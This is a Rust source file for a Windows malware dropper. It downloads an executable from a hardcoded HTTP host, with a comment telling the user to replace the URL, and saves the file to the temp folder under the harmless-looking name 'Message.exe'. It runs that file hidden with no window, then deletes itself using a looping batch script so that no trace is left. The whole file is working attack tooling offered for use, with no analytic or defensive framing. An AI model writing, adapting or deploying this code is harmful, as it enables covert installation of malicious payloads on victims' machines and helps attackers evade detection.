use futures_util::StreamExt;
use tokio::fs::File;
use tokio::io::AsyncWriteExt;
use reqwest::Client;
use winapi::um::errhandlingapi::GetLastError;
use std::env::{self, temp_dir};
use std::io::{self, Write};
use std::path::PathBuf;
use std::process::Command;
use std::ptr::null_mut;
use std::thread;
use std::time::Duration;
use winapi::um::processthreadsapi::{CreateProcessW, PROCESS_INFORMATION, STARTUPINFOW};
use winapi::um::winbase::CREATE_NO_WINDOW;
use widestring::WideCString;
use winapi::um::handleapi::CloseHandle;

#[tokio::main]
async fn main() {
    // Replace your URL
    let url = "http://192.168.102.134:8080/test.exe";

    // Here mention your File name
    let temp_path: PathBuf = temp_dir().join("Message.exe");

    let client = Client::new();

    match download_file(&client, url, &temp_path).await{
        Ok(_) => {
            println!("File downloaded successfully.");

            if execute_file(&temp_path).await {
                println!("Executed Successfully");
            } else {
                println!("Unable to execute the File");
            }
        }
        Err(e) => println!("Failed to download the file: {:?}", e),
    }

    del_dropper().expect("Error while Deleting dropper");
}

async fn download_file(client: &Client, url: &str, path: &std::path::Path) -> Result<(), Box<dyn std::error::Error>> {
    let response = client.get(url).send().await?;

    if response.status().is_success() {
        let mut file = File::create(path).await?;
        let mut stream = response.bytes_stream();

        while let Some(chunk) = stream.next().await {
            let chunk = chunk?;
            file.write_all(&chunk).await?;
        }

        Ok(())
    } else {
        Err(Box::new(std::io::Error::new(
            std::io::ErrorKind::Other,
            format!("Failed to download file: HTTP {}", response.status()),
        )))
    }
}

async fn execute_file(path: &std::path::Path) -> bool {
    let exe_path = WideCString::from_str(path.to_string_lossy()).unwrap();

    let mut si: STARTUPINFOW = unsafe { std::mem::zeroed() };
    si.cb = std::mem::size_of::<STARTUPINFOW>() as u32;

    let mut pi = PROCESS_INFORMATION {
        hProcess: null_mut(),
        hThread: null_mut(),
        dwProcessId: 0,
        dwThreadId: 0,
    };

    let result = unsafe {
        CreateProcessW(
            null_mut(),
            exe_path.into_raw(),
            null_mut(),
            null_mut(),
            false as i32,
            CREATE_NO_WINDOW,
            null_mut(),
            null_mut(),
            &mut si,
            &mut pi,
        )
    };

    if result != 0 {
        unsafe {
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
        }
        true
    } else {
        let error_code = unsafe { GetLastError() };
        println!("Failed to execute file in the background. Error code: {}", error_code);
        false
    }

}

fn del_dropper() -> io::Result<()>{
    let exe_path = env::current_exe()?.display().to_string();
    let batch_content = format!(
        "@echo off\n\
         :loop\n\
         del \"{}\" > NUL 2>&1\n\
         if exist \"{}\" goto loop\n\
         del \"%~f0\"",
        exe_path, exe_path
    );

    let batch_file = temp_dir().join("self_delelte.bat");
    let mut file = std::fs::File::create(batch_file.clone())?;

    file.write_all(batch_content.as_bytes())?;

    Command::new("cmd")
        .args(&["/C", batch_file.to_str().expect("Error")])
        .spawn()?;
    
    thread::sleep(Duration::from_secs(1));

    Ok(())
}
